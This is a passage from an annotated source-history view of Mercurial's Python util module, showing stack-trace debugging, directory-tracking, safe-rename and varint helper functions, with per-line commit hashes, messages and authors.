timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3471 yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3472 else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3473 yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3474 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3475 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3476 def debugstacktrace( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3477 msg=b'stacktrace', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3478 skip=0, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3479 f=procutil.stderr, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3480 otherf=procutil.stdout, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3481 depth=0, |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3482 ): |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3483 '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3484 Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3485 By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3486 It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3487 Not be used in production code but very convenient while developing. |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3488 ''' |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3489 if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3490 otherf.flush() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3491 f.write(b'%s at:\n' % msg.rstrip()) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3492 for line in getstackframes(skip + 1, depth=depth): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3493 f.write(line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3494 f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3495 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3496 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3497 class dirs(object): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3498 '''a multiset of directory names from a dirstate or manifest''' |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3499 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3500 def __init__(self, map, skip=None): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3501 self._dirs = {} |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3502 addpath = self.addpath |
42641
b5092c23ca35
py: error out if a "skip" character was given with non-dict to util.dirs()
Martin von Zweigbergk <martinvonz@google.com>
parents:
42538
diff
changeset
|
3503 if isinstance(map, dict) and skip is not None: |
43106
d783f945a701
py3: finish porting iteritems() to pycompat and remove source transformer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43103
diff
changeset
|
3504 for f, s in pycompat.iteritems(map): |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3505 if s[0] != skip: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3506 addpath(f) |
42641
b5092c23ca35
py: error out if a "skip" character was given with non-dict to util.dirs()
Martin von Zweigbergk <martinvonz@google.com>
parents:
42538
diff
changeset
|
3507 elif skip is not None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3508 raise error.ProgrammingError( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
3509 b"skip character is only supported with a dict source" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3510 ) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3511 else: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3512 for f in map: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3513 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3514 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3515 def addpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3516 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3517 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3518 if base in dirs: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3519 dirs[base] += 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3520 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3521 dirs[base] = 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3522 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3523 def delpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3524 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3525 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3526 if dirs[base] > 1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3527 dirs[base] -= 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3528 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3529 del dirs[base] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3530 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3531 def __iter__(self): |
31430
807387581d89
py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents:
31404
diff
changeset
|
3532 return iter(self._dirs) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3533 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3534 def __contains__(self, d): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3535 return d in self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3536 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3537 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3538 if safehasattr(parsers, 'dirs'): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3539 dirs = parsers.dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3540 |
42538
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
3541 if rustdirs is not None: |
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
3542 dirs = rustdirs |
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
3543 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3544 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3545 def finddirs(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3546 pos = path.rfind(b'/') |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3547 while pos != -1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3548 yield path[:pos] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3549 pos = path.rfind(b'/', 0, pos) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3550 yield b'' |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3551 |
33820
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3552 |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3553 # convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3554 dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3555 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3556 |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3557 def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3558 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3559 Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3560 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3561 f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3562 tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3563 ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3564 others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3565 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3566 Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3567 in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3568 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3569 if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3570 others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3571 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3572 fn = b'%s~%s' % (f, tag) |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3573 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3574 return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3575 for n in itertools.count(1): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3576 fn = b'%s~%s~%s' % (f, tag, n) |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3577 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3578 return fn |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3579 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3580 |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3581 def readexactly(stream, n): |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3582 '''read n bytes from stream.read and abort if less was available''' |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3583 s = stream.read(n) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3584 if len(s) < n: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3585 raise error.Abort( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
3586 _(b"stream ended unexpectedly (got %d bytes, expected %d)") |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3587 % (len(s), n) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3588 ) |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3589 return s |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3590 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3591 |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3592 def uvarintencode(value): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3593 """Encode an unsigned integer value to a varint. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3594 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3595 A varint is a variable length integer of 1 or more bytes. Each byte |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3596 except the last has the most significant bit set. The lower 7 bits of |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3597 each byte store the 2's complement representation, least significant group |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3598 first. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3599 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3600 >>> uvarintencode(0) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3601 '\\x00' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3602 >>> uvarintencode(1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3603 '\\x01' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3604 >>> uvarintencode(127) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3605 '\\x7f' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3606 >>> uvarintencode(1337) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3607 '\\xb9\\n' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3608 >>> uvarintencode(65536) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3609 '\\x80\\x80\\x04' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3610 >>> uvarintencode(-1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3611 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3612 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3613 ProgrammingError: negative value for uvarint: -1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3614 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3615 if value < 0: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3616 raise error.ProgrammingError(b'negative value for uvarint: %d' % value) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3617 bits = value & 0x7F |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3618 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3619 bytes = [] |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3620 while value: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3621 bytes.append(pycompat.bytechr(0x80 | bits)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3622 bits = value & 0x7F |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3623 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3624 bytes.append(pycompat.bytechr(bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3625 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3626 return b''.join(bytes) |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3627 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3628 |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3629 def uvarintdecodestream(fh): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3630 """Decode an unsigned variable length integer from a stream. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3631 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3632 The passed argument is anything that has a ``.read(N)`` method. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3633 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3634 >>> try: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3635 ... from StringIO import StringIO as BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3636 ... except ImportError: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3637 ... from io import BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3638 >>> uvarintdecodestream(BytesIO(b'\\x00')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3639 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3640 >>> uvarintdecodestream(BytesIO(b'\\x01')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3641 1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3642 >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3643 127 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3644 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3645 1337 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3646 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3647 65536 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3648 >>> uvarintdecodestream(BytesIO(b'\\x80')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3649 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3650 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3651 Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3652 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3653 result = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3654 shift = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3655 while True: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3656 byte = ord(readexactly(fh, 1)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3657 result |= (byte & 0x7F) << shift |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3658 if not (byte & 0x80): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3659 return result |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3660 shift += 7 |